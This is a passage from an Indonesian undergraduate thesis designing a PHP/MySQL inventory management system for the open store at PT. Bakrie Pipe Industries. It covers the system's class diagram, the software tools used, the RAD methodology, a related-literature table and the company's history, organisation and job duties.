aspek yang berbeda dari sistem yang mewakili ketertarikan sekelompok stakeholder
tertentu.
+add()
+delete()
+edit()
-kd_jenis (Pk)
-nm_jenis
::jenis
+add()
+delete()
+edit()
+save()
-kd_brg (Pk)
-nm_brg
-kd_jenis (Fk)
-ukuran
-id_user (Fk)
::Barang
+add()
+delete()
+edit()
+save()
-id_user(Pk)
-nm_user
-password
-id_level (Fk)
-id_pegawai (Fk)
::User
+add()
+delete()
+edit()
-id_level (Pk)
-nm_level
::Level
+add()
+delete()
+edit()
-id_jabatan (Pk)
-nm_jabatan
::jabatan
+add()
+delete()
+edit()
-id_pegawai (Pk)
-nm_pegawai
-id_jabatan (Fk)
::Pegawai
+view()
+edit()
-id_stok (Pk)
-jumlah_ready
-kd_brg (Fk)
-safety_stock
-id_user (Fk)
::Stok
+add()
+edit()
+delete()
-kd_reproduksi (Pk)
-jumlah_riject
-kd_brg (Fk)
-id_user (Fk)
::Reproduksi
+add()
+delete()
+edit()
-id_work (Pk)
-kd_pembeli (Fk)
-jumlah
-kd_brg (Fk)
-id_user (Fk)
::Work Order
+add()
+delete()
+edit()
-kd_pembeli (Pk)
-nm_pembeli
-alamat
-tlpn
-id_kota (Fk)
-id_user (Fk)
::Pembeli
+view()
+add()
+delete()
-id_kota (Pk)
-nm_kota
-id_prov (Fk)
::kota
+add()
+delete()
+edit()
-id_prov (Pk)
-nm_prov
::Provinsi
1
1..*
1
1..* 1..*
1
1..*
1 1..*
1 1
1
1
1
11
::login
1
1
1
1..*
1
1..*
11..*
1
1..*
11..*
61
Gambar 2.7 Model 4+1 view (Munawar, 2005)
Penjelasan lengkap gambar diatas adalah sebagi berikut:
1. Use case view mendefinisikan perilaku eksternal sistem
2. Design view mendefinisikan struktur logika yang mendukung fungsi-fungsi yang
dibutuhkan di use case. Informasi yang terkandung di view ini menjadi perhatian
para programmer karena menjelaskan secara detail bagaimana fungsionalitas
sistem akan diimplementasikan.
3. Implementation view menjelaskan komponen-komponen fisik dari sistem yang
akan dibangun. Informasi yang ada di view ini relevan dan aktifitas-aktifitas
seperti manajemen konfigurasi dan integral sistem.
4. Process sistem berhubungan dengan hal-hal yang berkaitan dengan concurrency
di dalam sistem.
5. Deployment view menjelaskan komponen-komponen fisik didistribusikan ke
lingkungan fisik seperti jaringan komputer dimana sistem akan dijalankan.
Design View
Implementation
View
Process View
Deployment View
Use Case View
2.12 Perangkat Lunak yang digunakan
2.12.1 Pemrograman PHP (Hypertext Preprocessor)
PHP adalah bahasa pemrograman web server-side yang bersifat open source.
PHP merupakan script yang terintegrasi dengan HTML dan berada pada server
(server side HTML embedded scripting). PHP adalah script yang digunakan untuk
membuat halaman website yang dinamis. Dinamis berarti halaman yang akan
ditampilkan dibuat saat halaman itu diminta client. Mekanisme ini menyebabkan
informasi yang diterima client selalu yang terbaru/ up to date, semua script
dieksekusi pada server dimana script tersebut dijalankan (Anhar,2010).
Dalam pengertian lain PHP adalah bahasa permrograman Open Source yang
digunakan secara luas terutama untuk pengembangan web dan dapat disimpan dalam
bentuk HTML (Hardjono, 2006).
Untuk menghasilkan sebuah HTML, script yang ditulis menggunakan PHP
mempunyai perintah yang lebih singkat dibandingkan bahasa pemrograman lain
seperti Perl atau C. keuntungan utama menggunakan PHP adalah script PHP tidak
hanya benar-benar sederhana bagi pemula, tetapi juga menyediakan banyak fitur
tambahan untuk programmer professional.
Meskipun PHP lebih difokuskan sebagai script server side, kita juga dapat
melakukan apapun dengan program CGI, seperti mengirimkan dan menerima
cookies. Bahkan PHP dapat melakukan lebih banyak lagi.
Script PHP dapat digunakan dalam 3 hal, yaitu: (Hardjono, 2006):
1) Penulisan program server side. Hal ini adalah target utama PHP. Diperlukan 3 hal
agar script PHP dapat bekerja antara lain, PHP Parser (CGI atau server module),
63
server web (missal, Apache) dan browser web. Kita harus menjalankan server
web terlebih dahulu, kemudian mengakses keluaran program PHP melalui
browser web dan melihat halaman PHP melalui server.
2) Penulisan program Command Line. Script PHP dapat berjalan tanpa server atau
browser. Hanya diperlukan PHP Parser dalam bentuk Command Line. Tipe ini
ideal digunakan untuk script yang dijalankan secara teratur menggunakan cron
(pada Unix atau Linux) atau Task Scheduler (pada Windows).
3) Penulisan program untuk aplikasi desktop. PHP mungkin bukan bahasa yang
sangat baik untuk membuat suatu aplikasi desktop dengan tampilan grafis yang
user friendly, dengan penambahan fitur tambahan PHP pada aplikasi Client Side
atau menggunakan PHP-GTK. PHP-GTK merupakan fitur tambahan pada PHP
dan tidak tersedia pada distribusi utama.
Secara singkat kelebihan-kelebihan PHP meliputi: (Hardjono, 2006)
a) ScriptPHP sederhana, mudah dibuat, dan mempunyai kecepatan akses tinggi.
b) Dapat berjalan dalam server web yang berbeda dan dalam sistem operasi yang
berbeda. PHP dapat berjalan pada sistem operasi Linux/ Unix, Windows, dan
Macintosh.
c) Bersifat Open Source sehingga diterbitkan secara gratis.
d) Dapat berjalan pada server web Microsoft Personal Web Server, Apache, IIS,
Xitami dan sebagainya.
e) Termasuk bahasa yang embedded (bisa ditempel atau diletakkan dalam tag
HTML).
2.12.1.1 Alasan Menggunakan PHP
Beberapa alasan peneliti untuk menggunakan PHP: (Anhar, 2009)
a. PHP adalah bahasa open source yang dapat digunakan di berbagai sistem operasi
seperti Linux, Unix Macintosh, dan Windows. PHP dapat dijadikan secara runtime
melalui console serta dapat menjalankan perintah-perintah sistem. Open source
artinya code-code PHP terbuka untuk umum dan kita tidak harus membayar biaya
pembelian atau keaslian license yang biasanya cukup mahal. Karena source code
PHP tersedia secara gratis, maka hal tersebut memungkinkan komunitas milis-
milis dan developer untuk selalu melakukan perbaikan, pengembangan, dan
menemukan bug dalam bahasa PHP.
b. Web server yang mendukung PHP dapat ditemukan dimana-mana, mulai dari
Apache, IIS, Lighttpd, hingga Xitami dengan konfigurasi yang relatif mudah.
c. PHP juga dilengkapi dengan berbagai macam pendukung lain seperti support
langsung ke berbagai macam database yang populer, misalnya: Oracle,
PastgerSQL, MySQL, dan lain-lain.
2.12.2 MySQL
MySQL (My Stukture Query Language) adalah sebuah perangkat lunak
sistem manajemen basis data SQL (Database Managemrent System) atau DBMS dari
sekian banyak DBMS, seperti Oracle, Ms SQL, Postagre SQL, dan lain-lain. MySQL
merupakana DBMS yang multithread, multiuser yang bersifat gratis dibawah lisensi
GNU General Public License (GPL). Tidak seperti Apache yang merupakan software
yang dikembangkan oleh komunitas umum, dan hak cipta untuk kode sumber
65
dimiliki oleh penulisnya masing-masing. MySQL dimiliki dan disponsori oleh sebuah
perusahaan Swedia, yaitu MySQL AB. MySQL AB memegang hak cipta kode
sumbernya. Kedua orang Swedia dan oraang Finlandia yang mendirikan MySQL AB
adalah: David Axmark, Allan Larson, dan Micheal Monty Widenius (Anhar,2010).
Beberapa kelebihan MySQL, antara lain:
MySQL dapat berjalan dengan stabil pada berbagai sistem operasi, seperti
Windows, Linux, FreeBSD, Mac Os X Server, Solaris, dan masih banyak lagi.
Bersifat Open Source, MySQL didistribusikan secara open source (gratis),
dibawah lisensi GNU General Public License (GPL)
Bersifat Multi-user, MySQL dapat digunakan oleh beberapa user dalam waktu
yang bersamaan tanpa mengalami masalah.
MySQL memiliki kecepatan yang baik dalam menangani query (perintah SQL).
Dengan kata lain, dapat memproses lebih banyak SQL per satuan waktu.
Dari segi security atau keamanan data, MySQL memiliki beberapa lapisan
keamanan, seperti level subnet mask, nama host, dan izin akses user, dengan
sistem perizinan yang mendetail serta password yang terenkripsi.
Selain MySQL bersifat fleksibel dengan berbagai pemrograman, MySQL juga
memiliki interface (antarmuka) terhadap berbagai aplikasi dan bahasa
pemrograman dengan menggunakan fungsi API (Application Programming
Interface).
2.12.3 Apache
Apache merupakan server web bersifat Universal dan gratis, dikembangkan
sekelompok programmer bernama Apache group. Apache pertama kali
dikembangkan pada tahun 1995. Lebih dari 50% server web di dunia menggunakan
Apache. Apache pertama kali diciptakan untuk sistem operasi Unix, sekarang bisa
dijalankan pada hamper semua sistem operasi termasuk Windows (Irawan, 2009).
2.12.4 Adobe Dreamweaver CS4
Adobe Dreamweaver CS4 merupakan salah satu program aplikasi yang
digunakan untuk membangun sebuah website, baik secara grafis maupun dengan
menuliskan kode sumber secara langsung.
Adobe Dreamweaver CS4 memudahkan pengembang website untuk
mengelola halaman-halaman website dan asset-asetnya, baik gambar (image),
animasi flash, video, suara dan lain sebagainya. Selain itu adobe dreamweaver CS4
juga menyediakan fasilitas untuk melakukan pemrograman scripting, baik ASP
(Active Server Page), JSP (Java Server Page), PHP (PHP Hypertext Preprocessor),
JavaScript (js), Cold Fusion, CSS (Cascading Style Sheet), XML (Extensible Markup
Language) dan lainnya (Agustina, 2010).
67
2.12.5 Adobe Photoshop CS
Awal terciptanya Adobe Photoshop oleh Glenn Knoll memang ditujukan
unutk mengedit foto saja, namun karena perkembangan teknologi yang semakin
kompleks, menuntut Thomas Knoll sang anak dan kawan-kawannya semakin
memantapkan untuk mengembangkan Photoshop (Slamet Riyanto, 2006).
2.12.6 Browser
Browser adalah aplikasi yang digunakan untuk menampilkan file-file website,
baik html, php, mht, dan lain sebagainya. Kita tidak akan dapat menampilkan hasil
dari desain yang kita buat apabila kita tidak mempunyai browser. Browser yang
dapat digunakan adalah Browser Internet Explorer (IE) yang merupakan bawaan
windows, Mozilla Firefox, Opera, Safari, Chrome dan lain-lain (Agustina, 2010).
Browser juga dapat diartikan sebagai software yang di install di mesin client,
berfungsi untuk menerjemahkan tag HTML menjadi halaman web (Anhar, 2010).
2.13 Pengujian
Sebelum program diterapkan, maka program harus bebas dari kesalahan, dan
program harus diuji untuk menemukan kesalahan yang mungkin dapat terjadi seperti
ksalahan dalam bahasa, kesalahan waktu, proses dan kesalahan logika program.
Pengujian perangkat lunak (PL) adalah elemen kritis dari jaminan kualitas PL
dan merepresentasikan spesifikasi, desain dan pengkodean. Meningkatnya visibilitas
PL sebagai suatu elemen sistem dan biaya yang muncul akibat kegagalan PL,
memotivasi dilakukan perencanaan baik melalui pengujian yang teiliti.
Pengujian black-box berfokus pada persyaratan fungsional perangkat lunak.
Pengujian black-box didesain untuk mengungkap kesalahan pada persyaratan
fungsional tanpa mengabaikan kerja internal dari suatu program. Teknik pengujian
black-box berfokus pada domain informasi dari perangkat lunak, dengan melakukan
test case dengan mempartisi domain input dan domain output dari suatu program
dengan cara memberikan cangkupan pengujian mendalam (Pressman, 2002).
69
2.14 Studi Literatur Sejenis
Peneliti mendapatkan studi literatur sejenis dari kasus yang sama dalam mengembangkan sistem informasi ini, yaitu:
No Sumber Abstrak Kelebihan Kekurangan
1 Sri Damayanti 2010 Prodi Sistem
Informasi Sistem dengan judul
Informasi Manajemen Persediaan
Obat-obatan di RS. Ananda Bekasi
STMIK (Skolah Tinggi Manajemen
Informatika & Komputer) BANI
SALEH Bekasi
Pengendalian, perencanaan, jenis-jenis
obatan dan sistem informasi. Penelitian ini
dilakukan selama 6 bulan di Rumah Sakit
Ananda tentang pengendalian obat-obatan.
Pengendalian obat-obatan RS. Ananda
sangat penting karena: jumlah jenis obat
yang banyak tidak terjadi kekurangan/
kelebihan atas ketersediaan jenis obat.
- Sudah adanya sistem
untuk pengendalian
barang (obat)
- sistem masih bersifat
stand alone belum
adanya sistem yang
terintegrasi.
- metodologi
penelitian masih
menggunakan metode
deskriptif, belum
menggunakan metode
pengembangan sistem
2 Megi Martin Kusuma 2010 Prodi Permasalahan yang terjadi pada PT. Bina - Sudah adanya data - Aplikasi masih
Tabel 2.2 Literatur Sejenis
Sistem Informasi dengan judul
Sistem Informasi Kontrol Persediaan
Barang Guna Meningkatkan
Tercapainya Target Produksi pada
PT. BINA PLASPAC INDONESIA
BEKASI STMIK (Sekolah Tinggi
Manajemen Informatika &
Komputer) BANI SALEH Bekasi
Plaspac Indonesia Bekasi adalah
pengolahan data-data yang masih manual
dalam mengolah informasi di bagian
persediaan barang. Hal ini menyebabkan
seering terjadi masalah dalam menangani
penyimpanan barang dalam gudang
diantaranya kesalahan dalam pencatatan
barang, kesulitan dalam pembuatan laporan
persediaan per periode, serta pencarian data
yang sering membutuhkan waktu lama,
informasi stok/ persediaan tidak setiap saat
bisa dilihat. Selain itu kelemahan lain
adalah pencatatan data yang akan
dilaporkan harus diproses ulang (berulang-
ulang) bila akan membuat laporan, hal ini
persediaan stok dan
laporan yang dapat
dilihat.
- Aplikasi berbasis
Web dan
menggunakan
database SQL Server
menggunakan
jaringan LAN bukan
internet.
- Laporan yang
ditampilkan belum
dinamis.
71
memungkinkan terjadinya kesalahan dan
mengakibatkan suatu informasi yang
dibutuhkan tidak dapat dijadikan referensi
untuk proses evaluasi, analisis, serta
pengambilan keputusan yang cepat oleh
pimpinan.
Sebagai solusi untuk memecahkan maslalah
tersebut penulis mencoba mengusulkan
sistem informasi berbasis komputer dimana
pengolahan data penyimpanan data terpusat
sehingga dapat menyelesaikan pekerjaan
lebih cepat dan menghasilkan stok dan
laporan yang dapat dilihat dan di update
setiap saat sesuai dengan kebutuhan.
3 Hesty Pratiwi 2010 Prodi Sistem Setiap perusahaan selalu membutuhkan - Adanya data - Metodologi yang
Informasi dengan Judul Analisa
Sistem Informasi Persediaan
Groceries PAM JAYA Jakarta
Timur STMIK (Sekolah Tinggi
Manajemen Informatika dan
Komputer) BANI SALEH Bekasi
persediaan, persoalan persediaan yang perlu
dipecahkan adalah bagaimana perusahaan
mampu memprediksi dengan tepat
kebutuhan akan bahan baku dan juga barang
jadi, bagaimana perusahaan dapat
menyediakan persediaan yang tepat oada
waktunya sesuai dengan jumlah diperlukan.
Persediaan barang sebagai elemen utama
dari modal kerja, dan merupakan aktiva
yang selalu dalam keadaan berputar dan
terus menerus mengalami perubahan.
Tingkat perputaran persediaan barang
disebut inventory turner. Tinggi rendahnya
perputaran persediaan mempunyai pengaruh
langsung terhadap besar kecilnya kebutuhan
perputaran persediaan
barang jadi
- Adanya laporan
keuangan.
digunakan masih
memakai metodde
deskriptif yaitu
metode yang
didasarkan dari hasil
pengamatan
(observasi) langsung
di lapangan pada
saat dilakukan.
- Database masih
menggunakan access
sehingga tidak
optimal untuk
mengakses data yang
banyak
73
modal kerja perusahaan. Berdasarkan hal
tersebut, penulis memberikan judul pada
penelitian yaitu “ Pengaruh Tingkat
Perputaran Persediaan Barang Jadi
Terhadap Modal Kerja Pada PAM JAYA”
74
BAB III
METODOLOGI PENELITIAN
3.1 Metode Pengumpulan Data
Metode pengumpulan daya yang peneliti lakukan untuk mempermudah
penyusunan skripsi ini sebagai berikut:
3.1.1 Studi Pustaka
Pada metode studi pustaka, peneliti mengumpulkan dan memperlajari buku-
buku yang berhubungan dengan masalah yang dibahas. Dalam sistem inventory
management ini yang merupakan bagian data-data pustaka, yaitu:
a. Buku Metode Desain & Analisa Sistem Edisi 6 karya Jeffrey L. Whitten, 2004.
b. Buku Manajemen Persediaan Karya Richardus Eko Indrajit & Richardus Djoko
Pranoto, 2003.
Jumlah buku-buku buku yang digunakan untuk referensi totalnya ada 23 buku
untuk selengkapnya dapat dilihat pada daftar pustaka.
3.1.2 Studi Lapangan
1. Observasi
Peneliti mengumpulkan data dan informasi dengan melakukan
pengamatan secara langsung ke lapangan terhadap suatu kegiatan yang sedang
berjalan untuk memperoleh data yang dibutuhkan.
Pengamatan penelitian dilakukan pada:
Tempat : PT. Bakrie Pipe Industries
75
Jl. Raya Pejuang KM. 27 Pondok Ungu Medan Satria
Bekasi Utara 17131.
Waktu : Februari 2012
Informasi yang dapat dikumpulkan berdasarkan pengamatan yang peneliti
lakukan sebagai berikut:
a. Gambaran singkat PT. Bakrie Pipe Industries
b. Produk di PT. Bakrie Pipe Industries
c. Proses penyimpanan sampai dengan proses pengeluaran produk dari open
store pada PT. Bakrie Pipe Industries.
d. Sistem komputerisasi yang belum terintegrasi dengan baik.
3.1.3 Wawancara
Wawancara dilakukan dengan Bapak Riyadi Teguh M. sebagai supervisor
bagian open store pada PT. Bakrie Pipe Industries untuk memperoleh data-data dan
informasi yang dibutuhkan dalam pembangunan sistem informasi Inventory
management open store. Tujuan wawancara ini adalah mendapatkan informasi yang
dibutuhkan dalam perancangan sistem informasi Inventory management open store ini.
Wawancara dilakukan pada 05 Maret 2012. Pertanyaan yang diajukan dan setiap
pertanyaan dijawab langsung oleh bapak Riyadi Teguh M. Berdasarkan hasil
wawancara yang peneliti lakukan didapat beberapa informasi yang berguna dalam
pembuatan sistem informasi Inventory management open store khususnya untuk proses
produk barang jadi (good pipe) yang masuk ke open store sampai kepada proses
pengeluaran produk jadi tersebut untuk dikirim.
3.1.4 Studi Literatur Sejenis
Peneliti membandingkan apakah literatur sebelumnya dapat membantu
dalam pengembangan sistem yang diusulkan. Selain itu peneliti juga membandingkan
apakah sistem yang dikembangkan memiliki kelebihan dari sistem yang dibuat
berdasarkan literatur sejenis atau sebelumnya ditempat lain yang telah menggunakan
sistem informasi tersebut. Studi literatur sejenis yang diambil oleh peneliti dapat dilihat
pada akhir bab II.
3.2 Metodologi Pengembangan Sistem
Pada pembahasan ini, penulis menggunakan metodologi Rapid Application
Development (RAD)/ Pengembangan Aplikasi Cepat yang telah menjadi alur yang
terkenal dalam mengakselerasi pengembangan sistem. Penulis menggunakan metode ini
karena menurut penulis, metode ini merupakan metode yang paling cocok dalam
pengembangan aplikasi ini karena lebih menekankan pada pembuatan aplikasi/
prototipe dengan melakukan pendekatan kepada user atau pengguna sistem ini dalam
pencapaian solusi dari permasalahan yang ada.
Pada alur prose RAD, penulis membatasi dengan hanya melalui beberapa
tahapan yaitu dari Scope Definition sampai dengan tahapan Construction & Testing,
selebihnya diserahkan pada pihak perusahaan dalam mengelola aplikasi ini.
Adapun dalam tahap pengembangan sistem ini terdiri dari beberapa aktivitas
yang tentunya sesua dengan tahapan yang sebelumnya telah dijabarkan pada alur proses
pengembangan sistem. Tahapan tersebut yaitu:
3.2.1 Mendefinisikan Lingkup (Scope Definition)
77
Fase pertama pengembangan sistem ini adalah mendefinisikan lingkup sistem,
yang artinya menentukan tingkat atau ukuran dan batas-batas pengebangan sistem.
Tahap ini juga menggambarkan dengan jelas dan singkat tentang masalah, kesempatan
dan perintah yang memicu pengembangan aplikasi. Lingkup dapat didefinisikan dengan
istilah informasi, fungsi dan antarmuka. Lingkup memang dapat dan sering berubah
selama proses pelaksanaannya.
3.2.2 Analisis Sistem (Analysis)
Tujuan utama dari analisis berorientasi objek adalah memodelkan sistem yang
nyata dengan penekanan pada apa yang harus dilakukan, bukannya bagaimana
melakukannya. Hasil utama dari analisis sistem adalah pemahaman sistem seutuhnya
sebagai persiapan menuju ke tahap perancangan.
Ada 2 fase dalam tahapan analisis sistem pada alur pengembangan siste RAD,
yaitu:
a. Analisis sistem berjalan menggunakan analisi PIECES yang mempelajari
sistem yang ada atau sistem yang berjalan dengan pemahaman mendalam akan
masalah-masalah pengembangan sistem.
b. Analisis sistem usulan, mendefinisikan sistem yang akan diusulkan dari analisis
sistem yang berjalan, sehingga terdapat solusi dari masalah-masalah yang ada
pada sistem yang berjalan.
3.2.3 Perancangan Sistem (Design)
Dalam pengembangan sistem ini, penulis menggunakan metode Desain
Berorientasi Objek/ Object Oriented Design (OOD). Dengan UML (Unified Modelling
Language) sebagai tools untuk perancangan dan pengembangan aplikasinya.
Namun tidak semua diagram yang disediakan oleh UML, digunakan oleh
penulis dalam desain/ perancangan sistem ini. Hanya beberapa diagram saja yang
digunakan oleh penulis, yaitu diagram-diagram yang menurut penulis dapat mendukung
perancangan aplikasi ini. Adapun beberapa diagram berikut ini:
a. Use Case Diagram: merupakan diagram yang menjelaskan aktifitas apa saja yang
dilakukan oleh sistem yang akan dibangun dan siapa yang berinteraksi dengan
sistem tersebut.
b. Activity Diagram : Merupakan diagram yang menggambarkan berbagai alir
aktifitas dalam sistem yang sedang dirancang, bagaimana masing-masing alir
berawal, decision yang mungkin terjadi dan bagaimana mereka berakhir. Activity
diagram juga dapat menggambarkn proses parallel yang mungkin terjadi pada
beberapa eksekusi.
c. Sequence Diagram : Merupakan diagram yang menjelaskan secara detail urutaan
proses yang dilakukan oleh sistem untuk mencapai tujuan dari use case, interaksi
yang terjadi antar class, operasi apa saja yang terlibat, urutan antar operasi dan
informasi yang diperlukan oleh masing-masing operasi.
d. Class Diagram: Merupakan diagram yang selalu ada pada pemodelan sistem yang
berorientasi objek. Class diagram menunjukkan hubungan antar class dalam sistem
yang sedang dibangun dan bagaimana mereka saling berkolaborasi untuk mencapai
suatu tujuan.
79
3.2.4 Implementasi Sistem (Construction & Testing)
Setelah melakukan analisis sistem dan perancangan sistem secara rinci, maka
tiba saatnya sistem untuk diimplementasikan. Pada tahap ini terdapat banyak aktifitas
yang dilakukan. Aktifitas-aktifitas yang dimaksud berupa:
3.2.4.1 Permrograman
Pada tahap pemrograman, penulis menggunakan bahasa pemrograman PHP 5
sebagai bahasa pemrogramannya, sedangkan software yang digunakan daladm
pembuatan aplikasi ini yaitu menggunakan Adobe Dreamweaver sebgai software untuk
membuat Graphical User Interface (GUI) dan sebagai software yang menunjang
database pada aplikasi ini, penulis menggunakan MySQL karena mendukung untuk
infrastruktur jaringan.
3.2.4.2 Pengujian
Setiap program menjalani pengujian secara probadi untuk memastikan bahwa
program yang telah kita buat bisa bebas dari kesalahan (bug), walaupun tidak menutup
kemungkinan masih terjadi sedikit bug atau tidak 100% bebas dari bug, namun
pengujian ini setidknya bisa meminimalisasi kesalahan yang akan terjadi.
Pada tahap ini, penulis menggunakan metode pengujian unit dengan
pendekatana black-box testing.
3.3 Kerangka Penelitian
Dalam melakukan penelitian ini, peneliti melakukan tahapan-tahapan kegiatan
dengan mengikuti rencana kegiatan yang tertuang dalam kerangka penelitian meliputi
metode pengumpulan data dan metode pengembangan sistem. Berikut ini dapat dilihat
Gambar 3.1 Kerangka Penelitian.
Kerangka Penelitian
Gambar 3.1 Kerangka Penelitian
Pengumpulan Data
Pengembangan Data
Metodologi Pengumpulan
Data
Metode Pengembangan
Sistem Rapid Application
Development System
(RAD) oleh Whitten, 2004
Studi Pustaka
Studi Lapangan
Studi Literatur
Sejenis
Scope Definiton
Analysis
Design
Construction
& Testing
Observasi
Wawancara
Gambaran Umun Perusahaan
Lingkungan Penelitian
Kelemahan Sistem Yang Berjalan
Analisis Sistem Usulan
Use Case Diagram
Activity Diagram
Sequence Diagram
Class Diagram
Pemrograman
Pengujian Blackbox Testing
Desain
Sistem
Desain
Interface
SistemTampilan interface
81
BAB IV
SISTEM INVENTORY MANAGEMENT OPEN STORE
4.1 Sekilas Tentang Perusahaan
4.1.1 Gambaran Umum Perusahaan
Pada Tahun 1959 PT. Bakrie & Brothers mendirikan pabrik pipa baja yang
diberi nama “TALANG TIRTA” di Jakarta. Pada waktu itu Bakrie baru dapat
memproduksi pipa baja berdiameter 5/8 inchi sampai dengan 1 ¼ inchi (conduit pipe),
dengan desain kapasitas produksi sebanyak 3000 ton pertahun. Sejak saat itu pipa baja
Bakrie sangat dikenal luas di masyarakat. Perkembangan berikutnya pada tahun 1972
Bakrie berhasil meningkatkan produksinya hingga mencapai 25.000 ton pertahun
dengan diameter hingga 4 inchi (conduit pipe, water pipe, pipe for ordinary uses).
Pada tahun 1978 ekspansi dilakukan dan Bakrie berhasil memproduksi pipa
sampai dengan diameter 6 5/8 inchi serta memproduksi pipa dengan spesifikasi API 5L
(pipes for oil and gas industries). Tahun 1979 American Petroleum Institute (API)
memberikan pengakuan kepada Bakrie untuk menggunakan monogram API pada
setiap produk API 5L yang diproduksi.
Dua tahun setelah itu PT. Bakrie Pipe Industries didirikan menempati lahan
seluas 38 Ha di wilayah Bekasi- Jawa Barat. Pada saat itu PT. Bakrie Pipe Industries
mampu memproduksi pipa baja sampai diameter 16 inchi dengan kapasitas 70.000 ton
per tahun. Pada tahun 1984, PT. Bakrie Pipe Industries untuk kedua kalinya
mendapatkan pengakuandari America Petroluem Industries (API) untuk menggunakan
monogram API pada setiap pipa API 5L yang diproduksi.
Derap pembangunan Indonesia melangkah pasti, dan pada tahun 1995 PT.
Bakrie Pipe Industries kembali melakukan ekspansi pabriknya dengan memasang mesin
KT 24 (Kaiser Torrance 24 inchi) dan VAI 4 (Voest Alpine 4 inchi) yang dapat
memproduksi pipa baja hingga 24 inchi. Kini PT. Bakrie Pipe Industries memiliki total
desain kapasitas produksi hingga 310.000 ton per tahunnya. Pada tahun 2000, PT.
Bakrie Pipe Industries juga telah mendapatkan kepercayaan dari American Petroleum
Institute (API) untuk menggunakan monogram API pada setiap produk pipa API 5CT
(casing & tubing) yang diproduksi.
4.1.2 Logo Perusahaan
Arti dari logo bakrie adalah
Dua garis tebal lengkung berwarna merah bata (terakota) mencerminkan tanah
khas Indonesia yang subur. Bentuk ini seakan-akan terbagi dua oleh bidang putih
di tengahnya, menandakan tanah yang telah diolah/dibajak, yang berarti akan
semakin subur. Bentuk lengkung mengambil citra permukaan bumi yang bulat.
Titik-titik biru di atasnya mencerminkan langit semesta, dengan mengambil bentuk
susunan konstalasi bintang utara (meluku), melambangkan cita-cita yang tinggi
namun tidak melupakan tempat asalnya (bentuk alat bajak yang identik dengan
tanah subur)
Logo tidak dibatasi dengan kotak atau lingkaran, menandakan kedinamisan yang
tidak terbatas.
Komposisi grafis mengambil gaya seni disain modern, dimaksudkan untuk
memposisikan citra Bakrie ke masa depan (futuristic) yang membedakannya dari
perusahaan lain.
83
Gambar 4.1 Logo Perusahaan
4.1.3 Visi dan Misi Perusahaan
1. Visi : Menjadi produsen pipa baja terkemuka di wilayah ASEAN
2. Misi PT. Bakrie Pipe Industries
Menyediakan produk yang dapat dipercaya, sesuai bahkan lebih baik dari persyaratan
yang ditetapkan pelanggan, dengan harga yang kompetitif dan pengiriman tepat waktu.
Mengoperasikan aktivitas bisnis senantiasa didasari nilai-nilai integritas, professional
dan profitabilitas, mengutamakan lingkungan kerja yang aman dan nyaman,
memuaskan pelanggan dan meningkatkan nilai investasi bagi pemegang saham.
CHIEF EXECUTIVE
MANAGER
MANAGEMENT
REPRESENTATION
CHIEF FINANCIAL
OFFICER
CHIEF MARKETING
OFFICER
CHIEF OPERTATING
OFFICER
CHIEF LOGOSTIC
CHIEF HRA & CONTINOUS
IMPROVEMENT PROGRAM
SALES MANAGER OIL
& GAS
FINANCE MANAGER
ACOUNTING & TAX MANAGER
IT MANAGER
INTERNAL AUDIT & RISK MANAGER
SALES MANAGER
NON OIL & GAS
SALES MANAGER
EXPORT
GENERAL
MANAGER BEKASI
PLANT
GENERAL
MANAGER SEAPI
PLANT
PRODUCTION
MANAGER
QUALITY & SHE
MANAGER
MAINTENANCE
MANAGER
METHOD &
TECHNOLOGY
MANAGER
HRD PROCUREMENT
MANAGER
PURCHASING
MANAGER
PPIC MANAGER
TRANSPORTATION
MANAGER
GA & IND. RELATION
MANAGER
REMUNERATION
MANAGER
CONTINOUS
IMPROVEMENT
MANAGER
4.1.4 Struktur Organisasi
Berikut adalah susunan organisasi dari PT. Bakrie Pipe Industries mulai dari Chief Executive sampai kepada bagian-
bagian dibawahnya.
Gambar 4.2 Struktur Organisasi pada PT. Bakrie Pipe Industries
85
4.1.4.1 Struktur Organisasi Lanjutan PPIC Manager
Gambar 4.3 ini adalah turunan dari bagian PPIC Manager dan ada petugas-petugas yang ada dalam bagian
tersebut.
Gambar 4.3 Struktur Organisasi Lanjutan PPIC Manager pada PT. Bakrie Pipe Industries
PPIC Manager
Storage Supervisor
Tallyman Foreman Lapangan
A. Uraian Tugas
Berdasarkan dari gambar struktur organisasi PT. Bakrie Metal Industries
akan diuraikan tentang tugas masing-masing yang terlibat dalam inventory
management open store yaitu:
1. PPIC Manager
a. Mengadakan rapat secara periodik untuk menilai dan mengevaluasi kegiatan
dari bawahannya dan memberikan petunjuk untuk meningkatkan prestasi di
masa mendatang.
b. Mengkoordinasi seluruh aktivitas yang ada dalam bagian PPIC perusahaan.
c. Menerima dan meminta laporan dari tiap bagian unit kerja secara berkala yang
kemudian diteruskan pada Chief Logistic.
2. Supervisor (Inventory Open Store)
a. Mengawasi dan mengevaluasi pipa hasil produksi sesuai order untuk kesiapan
tempat di storage dan assesoris, sehingga dapat diselesaikan sesuai waktu
yang telah ditentukan (due date) dari order tersebut.
b. Melakukan kontrol dan evaluasi serta analisa terhadap kualitas kerja dan stok
pipa dari keselamatan, keamanan dan kenyamanan sesuai peraturan yang di
telah tentukan.
c. Memberikan pengarahan kepada tim OS dalam peningkatan kinerja yang
sejalan dengan program dan kebijaksanaan departemen dan Perusahaan.
d. Meningkatkan kemampuan manajerial dalam meningkatkan motivasi bawahan
dan kerja sama dengan divisi lain dengan mengikuti pelatihan-pelatihan.
87
e. Menjamin pipa ready stock terhadap pengiriman tepat waktu sesuai dengan
jadwal yang ditentukan departemen dan Perusahaan.
f. Menjamin komplain terhadap kesalahan kirim ke Customer.
g. Bertanggung jawab langsung kepada Manajer PPIC.
3. Foreman Lapangan
a. Mengatur mutasi pipa di OS agar memudahkan loading dan pendataan sesuai
dengan kesepakatan dengan administrasi OS.
b. Mengatur pengiriman pipa keluar dan masuk ke dalam OS
c. Bertanggung jawab terhadap kebersihan dan kerapihan penumpukan pipa di
OS.
4. Tallyman
a. Mengatur kesiapan tenaga kerja, alat/ sarana kerja.
b. Mengatur lokasi penerimaan pipa siap kirim.
c. Menjaga kebersihan dan kerapihan dilingkungan kerja.
d. Mencatat setiap batang pipa yang dikirim untuk diserahkan pada administrasi
OS
e. Mengawasi penerimaan dari produksi dan pengeluaran pipa dari OS untuk
dikirim ke pelanggan.
f. Mengawasi laporan pemesanan yang dilakukan oleh pelanggan dan melihat
stok yang ada dalam OS.
4.2 Mendefinisikan Lingkup (Scope Definition)
Untuk memfokuskan penelitian yang dilakukan, maka Peneliti akan
